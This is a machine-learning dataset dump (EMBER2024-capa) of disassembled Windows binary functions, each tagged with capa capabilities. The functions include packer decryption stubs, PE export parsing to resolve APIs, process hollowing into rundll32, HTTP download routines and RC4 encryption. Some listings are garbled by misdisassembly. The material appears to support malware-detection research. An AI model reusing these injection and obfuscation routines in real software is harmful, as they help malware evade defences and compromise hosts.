joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10ce4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.10ce41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10ce407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ce406a
add dl, dl
jne 0x10ce4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ce40dc
xor eax, eax
add dl, dl
jne 0x10ce4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10ce417d
add dl, dl
jne 0x10ce40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ce40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ce40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ce40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10ce40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10ce4075
mov eax, 1
add dl, dl
jne 0x10ce40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10ce40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ce40e1
sub eax, ebx
mov ebx, 1
jne 0x10ce4128
mov ecx, 1
add dl, dl
jne 0x10ce410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10ce4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ce4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ce4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10ce413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10ce414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10ce4136
cmp eax, 0x7d00
jae 0x10ce416d
cmp eax, 0x500
jb 0x10ce4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ce4075
cmp eax, 0x7f
ja 0x10ce4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10ce4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10ce419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10ce4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x276e2864
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x2e062b5
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4e04f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8b000]
push edi
jmp 0x4e050a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4e0511
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0500
mov eax, 1
add ebx, ebx
jne 0x4e0523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4e0534
jne 0x4e0553
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0553
dec eax
add ebx, ebx
jne 0x4e0540
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4e0518
add ebx, ebx
jne 0x4e054f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4e05a5
xor ecx, ecx
sub eax, 3
jb 0x4e056b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4e05da
sar eax, 1
mov ebp, eax
jmp 0x4e0576
add ebx, ebx
jne 0x4e0576
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0544
inc ecx
add ebx, ebx
jne 0x4e0584
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e0544
add ebx, ebx
jne 0x4e0591
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4e0586
jne 0x4e05a2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e0586
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4e05c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4e05b6
jmp 0x4e0506
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4e05c4
add edi, ecx
jmp 0x4e0506
pop esi
mov edi, esi
mov ecx, 0x3ede
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4e05e2
cmp byte [edi], 0x11
jne 0x4e05e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4e05e7
lea edi, [esi + 0xd9000]
mov eax, dword [edi]
or eax, eax
je 0x4e065f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe6f00]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe707c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4e0614
mov ecx, edi
jns 0x4e0643
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe7080]
or eax, eax
je 0x4e0659
mov dword [ebx], eax
add ebx, 4
jmp 0x4e0631
call dword [esi + 0xe7090]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4e0690
cmp al, 0xef
ja 0x4e0683
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4e0665
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4e0672
mov ebp, dword [esi + 0xe7084]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4e06c4
sub esp, 0xffffff80
jmp 0x4276e7
Function at 0x431005
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7a0857bb
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..reloc
nop
nop
nop
nop
cmp eax, 0
je 0x4310d2
nop
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x405707d2
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x405cc8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7c5], 0x81
mov byte [ebp - 0x7c4], 0x90
mov byte [ebp - 0x7c3], 0xac
mov byte [ebp - 0x7c2], 0xee
mov byte [ebp - 0x7c1], 0xa4
mov byte [ebp - 0x7c0], 0xac
mov byte [ebp - 0x7bf], 0xac
mov byte [ebp - 0x7be], 0xc0
push 0xb
lea eax, [ebp - 0x7cc]
push eax
call fcn.00403e66
pop ecx
push eax
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00403dc7
add esp, 0xc
jmp 0x405dce
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.00403e56
push ebx
push edx
insb byte es:[edi], dx
out dx, eax
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x405e39
lea eax, [ebp - 0x714]
push eax
call fcn.00403e66
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00403e1b
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x405e39
jmp 0x4057f8
cmp dword [ebp - 0x37c], 0
je 0x405e47
jmp 0x405efc
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x405ea0
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x405ea5
jmp 0x4057f8
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x405eec
lea eax, [ebp - 0x714]
push eax
call fcn.00403e66
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00403e1b
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x405ef7
jmp 0x405efc
jmp 0x4057f8
cmp dword [ebp - 0x37c], 0
jne 0x405fa6
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0x7e8], eax
and dword [ebp - 0x7e0], 0
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
test cl, bh
invalid
dec dword [ecx - 0x7e37b]
invalid
push dword [ebp - 0x7e4]
lea eax, [ebp - 0x7ec]
push eax
push dword [ebp - 0x748]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404032
add esp, 0x14
mov dword [ebp - 0x7e0], eax
and al, bh
invalid
inc dword [ebx - 0x7df43]
inc dword [eax]
je 0x405f92
lea eax, [ebp - 0x714]
push eax
call fcn.00403e66
pop ecx
push eax
invalid
mov ch, 0x20
clc
Function at 0x40603f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
dec ebp
pop eax
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00403e56
dec edi
jo 0x406099
out 0x49, al
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x406043
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x406043
call fcn.00403e56
push eax
in al, dx
mov ebp, 0x3245a8b
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.00403e56
pop ds
loop 0x406025
cmpsd dword [esi], dword es:[edi]
push dword [ebp + 8]
jne 0x40608d
push dword [ebp + 4]
push dword [ebp]
call fcn.00404656
retf
in eax, 0xff
dec ebx
push esi
call 0x405f83
push esi
call sub.KERNEL32.dll_lstrlenW
loope 0x4060a0
add byte [eax], al
cmp eax, edi
push esi
jg 0x406083
call fcn.00405f37
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x406133
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406152
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x406158
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x406187
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a5a8]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a5ac]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x4061d7
test edi, edi
jne 0x406194
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x4061d1
Function at 0x4069c5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4069e9
xor eax, eax
test eax, eax
je 0x4069fc
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4069fc
xor ecx, ecx
jmp 0x4069ff
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b22
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dec], 0
push esi
jne 0x406b59
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b33
mov dword [ecx*4 + 0x427de8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b2e
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406b8a
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427de8]
xor eax, esi
inc ecx
dec edx
jne 0x406b6c
pop edi
not eax
pop esi
ret 0xc

Function at 0x10001050
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push 0x44
lea eax, [ebp - 0x5c]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x5c], 0x44
call fcn.100011a0
test eax, eax
je 0x1000115e
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
push 0
push 0x1000044
push 1
push 0
push 0
push 0x1000420c
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100010cc
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x44
push 1
push 0
push 0
push str.rundll32.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000115e
mov dword [ebp - 0x328], 0x10003
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x1000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
push 0
push 0x1000
push section..data
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x270], ecx
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x4012d0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebx
mov edx, 0xb
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x4012d6
mov eax, dword [esp + 0x38]
mov dword [0x405460], eax
mov edx, dword [esp + 0x34]
lea ecx, [esp]
call fcn.00402000
push 0
push 0
push 0
push 0
push str.MyUserAgent
call sub.WININET.DLL_InternetOpenA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x4014c8
mov eax, dword [0x405460]
push eax
push eax
push 0x405033
push 3
push dword [esp + 0x10]
call fcn.00402540
lea eax, [esp + 0x28]
push eax
call fcn.00402ca0
push dword [0x405460]
mov edx, 0x405033
call fcn.00402d20
mov eax, dword [0x405460]
push eax
push eax
push 0x405033
push 4
push dword [esp + 0x14]
call fcn.00402540
pop eax
lea eax, [esp + 0x2c]
push eax
call fcn.00402ca0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [esp + 0x3c]
push dword [esp + 0x20]
call sub.WININET.DLL_InternetConnectA
mov dword [esp + 8], eax
cmp dword [esp + 8], 0
je 0x4014bf
push 0
push 0x84000000
push 0
push 0
push 0
push dword [esp + 0x3c]
push 0x405035
push dword [esp + 0x24]
call sub.WININET.DLL_HttpOpenRequestA
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x4014b6
push 0
push 0
push 0
push 0
push dword [esp + 0x1c]
call sub.WININET.DLL_HttpSendRequestA
and eax, eax
je 0x4014ad
mov dword [esp + 0x1c], 0x400
push dword [esp + 0x1c]
call fcn.00402610
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x18]
call sub.WININET.DLL_InternetReadFile
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x18]
mov dword [esp + 0x14], ebx
mov ebx, dword [esp + 0x18]
and ebx, ebx
jle 0x401479
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x1c]
push ebx
push dword [esp + 0x14]
call fcn.00402640
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x18]
and ebx, ebx
jne 0x401434
mov eax, dword [0x405460]
push eax
push eax
push 8
push dword [esp + 0x20]
push dword [esp + 0x20]
call fcn.00402670
lea eax, [esp + 0x24]
push eax
call fcn.00402ca0
push dword [esp + 0x10]
call fcn.004027f0
push dword [esp + 0xc]
call sub.WININET.DLL_InternetCloseHandle
push dword [esp + 8]
call sub.WININET.DLL_InternetCloseHandle
push dword [esp + 4]
call sub.WININET.DLL_InternetCloseHandle
mov edx, dword [esp + 0x20]
push dword [0x405460]
call fcn.00402d20
pop eax
add eax, dword [0x40516c]
jmp 0x4014ee
push dword [esp]
call fcn.00402d80
push dword [esp + 0x20]
call fcn.00402d80
push dword [esp + 0x24]
call fcn.00402d80
push dword [esp + 0x28]
call fcn.00402d80
add esp, 0x2c
pop ebx
ret 4
Function at 0x401518
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
push eax
mov dword [esp], 0
mov ebx, dword [esp + 0x24]
dec ebx
cmp ebx, dword [esp]
jl 0x4015d5
mov ebp, 0x405084
mov ebx, ebp
add ebx, dword [esp]
mov eax, ebx
call fcn.00402810
mov ebx, eax
and ebx, 0xff
mov dword [esp + 4], ebx
mov ebx, dword [esp + 4]
and ebx, ebx
jl 0x40156c
mov ebx, dword [esp + 4]
cmp ebx, dword [esp + 0x24]
jge 0x40156c
mov eax, 1
jmp 0x40156e
xor eax, eax
and eax, eax
je 0x4015cc
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 4]
mov eax, edi
cdq
idiv dword [esp + 0x2c]
mov edi, edx
add ebx, edi
mov eax, ebx
call fcn.00402810
mov ebx, eax
and ebx, 0xff
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x30]
add ebx, dword [esp]
mov eax, ebx
call fcn.00402810
mov ebx, eax
and ebx, 0xff
mov dword [esp + 8], ebx
mov ebx, dword [esp + 8]
xor ebx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x24]
add ebx, dword [esp + 8]
mov eax, ebx
call fcn.00402630
jmp 0x4015cc
inc dword [esp]
jno 0x401528
xor eax, eax
add esp, 0x10
pop edi
pop ebx
pop ebp
ret 0x14
Function at 0x419ea0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x456bab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
push 0x54
call fcn.0042d7bd
add esp, 4
mov dword [esp + 8], eax
test eax, eax
mov dword [esp + 0x14], 0
je 0x419ee6
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x24]
push ecx
push edx
push eax
call fcn.00418180
mov esi, eax
jmp 0x419ee8
xor esi, esi
mov eax, dword [esp + 0x20]
push eax
mov dword [esp + 0x18], 0xffffffff
call fcn.0041f590
push eax
call fcn.004205a0
mov edi, eax
test edi, edi
je 0x419f31
mov ecx, dword [edi]
mov dword [esi + 0x44], ecx
mov edx, dword [edi + 8]
push ebx
mov dword [esi + 0x48], edx
call fcn.0041f590
lea ecx, [edi + 0xc]
mov ebx, eax
call fcn.004059e0
push eax
lea ecx, [ebx + 0x98]
call fcn.00422eb0
mov dword [esi + 0x4c], eax
pop ebx
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
mov edi, dword [esp + 0x1c]
push eax
mov eax, dword [esp + 0x30]
push ecx
push edx
call fcn.00417930
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x20

Function at 0x41a190
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x456bab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push 0xdc
call fcn.0042d7bd
add esp, 4
mov dword [esp + 8], eax
xor esi, esi
cmp eax, esi
mov dword [esp + 0x14], esi
je 0x41a1d4
mov ecx, dword [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x24]
push eax
call fcn.004196d0
mov esi, eax
mov eax, dword [esp + 0x1c]
mov ebx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.00419810
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
push edx
push eax
mov eax, dword [esp + 0x30]
push ecx
call fcn.00417930
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x1c
Function at 0x41eff0
Capabilities:
Set global application hook

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov esi, eax
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x41f031
test edi, edi
jle 0x41f0ad
test ebx, ebx
jle 0x41f0ad
mov ecx, dword [esp + 0xc]
mov edx, dword [esi + 4]
push 0x50
push ebx
push edi
push ebp
push ecx
push 0xffffffffffffffff
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
pop esi
pop ebp
ret 8
cmp dword [0x46b430], 0
jne 0x41f0ad
mov eax, dword [esi]
mov edx, dword [eax + 0x2c]
mov ecx, esi
call edx
test edi, edi
jle 0x41f05d
test ebx, ebx
jle 0x41f05d
mov eax, dword [esp + 0xc]
mov ecx, dword [esi + 4]
push 0x50
push ebx
push edi
push ebp
push eax
push 0xffffffffffffffff
push ecx
jmp 0x41f06d
mov edx, dword [esi + 4]
push 0x53
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
cmp dword [esi + 0x40], 0
je 0x41f082
push 1
xor eax, eax
call fcn.0041ca10
cmp dword [esi + 0x88], 0
mov dword [0x46b430], esi
jne 0x41f0ad
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0
push 0x41ef70
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [esi + 0x88], eax
pop esi
pop ebp
ret 8
Function at 0x4200f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4567d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebp
mov ebp, dword [esp + 0x30]
push esi
push edi
lea ecx, [esp + 0xc]
mov dword [ebp + 0x14], 2
call fcn.00405a00
mov esi, dword [esp + 0x3c]
lea edi, [esp + 0xc]
mov dword [esp + 0x30], 0
call fcn.00420020
push 0x14
call fcn.0042d7bd
add esp, 4
mov dword [esp + 0x38], eax
test eax, eax
mov byte [esp + 0x30], 1
je 0x420154
mov esi, eax
call fcn.00428130
jmp 0x420156
xor eax, eax
mov byte [esp + 0x30], 0
lea ecx, [esp + 0xc]
mov dword [ebp + 0x38], eax
call fcn.004059e0
mov esi, dword [ebp + 0x38]
push eax
call fcn.004281c0
lea ecx, [esp + 0xc]
mov esi, eax
call fcn.00405a70
mov ecx, dword [esp + 0x28]
pop edi
mov eax, esi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x28
ret 8